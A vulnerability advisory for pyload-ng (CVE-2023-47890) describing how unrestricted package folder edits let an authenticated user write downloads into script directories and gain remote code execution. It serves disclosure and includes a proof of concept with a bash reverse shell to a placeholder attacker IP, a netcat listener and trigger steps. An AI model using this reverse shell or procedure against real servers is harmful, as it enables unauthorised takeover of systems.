Download to arbitrary folder can lead to RCE
Summary
A web UI user can store files anywhere on the pyLoad server and gain command execution by abusing scripts.
Details
When a user creates a new package, a subdirectory is created within the /downloads folder to store files. This new directory name is derived from the package name, except a filter is applied to make sure it can't traverse directories and stays within /downloads.
src/pyload/core/api/init.py::add_package::L432
folder = (
folder.replace("http://", "")
.replace("https://", "")
.replace(":", "")
.replace("/", "_")
.replace("\\", "_")
)
So if a package were created with the name "../" the application would instead create the folder "/downloads/.._/"
However, when editing packages there is no prevention in place and a user can just pick any arbitrary directory in the filesystem.
src/pyload/webui/app/blueprints/json_blueprint.py::edit_package::L195
id = int(flask.request.form["pack_id"])
data = {
"name": flask.request.form["pack_name"],
"_folder": flask.request.form["pack_folder"],
"password": flask.request.form["pack_pws"],
}
api.set_package_data(id, data)
Steps to reproduce
- Login to a pyLoad instance
- Go to "Queue" and create a new package with any name and a valid link
- Click "Edit Package" on the newly created package and set the folder as "/config/scripts/download_finished/"
- Restart the package
- Check the server filesystem and note the link was downloaded and stored inside "/config/scripts/download_finished/"
Remote code execution proof-of-concept
It is possible to use this issue to abuse scripts and gain remote control over the pyLoad server.
On attacker machine
- Start a web server hosting a malicious script
echo -e '#!/bin/bash\nbash -i >& /dev/tcp/<attacker_ip>/9999 0>&1' > evil.sh&1
sudo python3 -m http.server 80
- Start netcat listener for reverse shells
nc -vklp 9999
On pyLoad
-
Change pyLoad file permission settings
Change permissions of downloads: On Permission mode for downloaded files: 0744
-
Create a package with link pointing to the attacker
http://<attacker_ip>/evil.sh
-
Edit package and change folder to /config/scripts/package_deleted/
-
Refresh package. Wait up to 60 seconds for scripts to be processed by pyLoad
-
Delete any package package to trigger the script
Impact
An authenticated user can gain control over the underlying pyLoad server.
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Python (PyPI) | pyload-ng | < 0.5.0b3.dev75 | 0.5.0b3.dev75 |
References
- https://github.com/pyload/pyload/security/advisories/GHSA-h73m-pcfw-25h2
- https://nvd.nist.gov/vuln/detail/CVE-2023-47890
- https://github.com/pyload/pyload/commit/695bb70cd88608dc4fee18a6a7ecb66722ebfd8f
- https://github.com/pyload/pyload
- http://pyload.com
- https://pypi.org/project/pyload-ng
- https://github.com/advisories/GHSA-h73m-pcfw-25h2
- CVSS vector
CVSS:3.1/AV:A/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H- Weakness (CWE)
CWE-22- Platform
- Python (PyPI)
- Package
pyload-ng- Disclosed
- 21.11.2023
- Updated
- 11.10.2026 13:19
Sources and licenses
OSV / GitHub Advisory Database - PYSEC-2026-1819 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-h73m-pcfw-25h2 - CC BY 4.0
Vulnerability history: pyload-ng
All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 58
- First → latest
- 01.2023 10.2026
- Without a fix
- 24
- Exploited in attacks
- 0
Severity breakdown
- Critical 9
- High 23
- Medium 25
- Low 1
Disclosures per year
- 2023: 9
- 2024: 8
- 2025: 8
- 2026: 33
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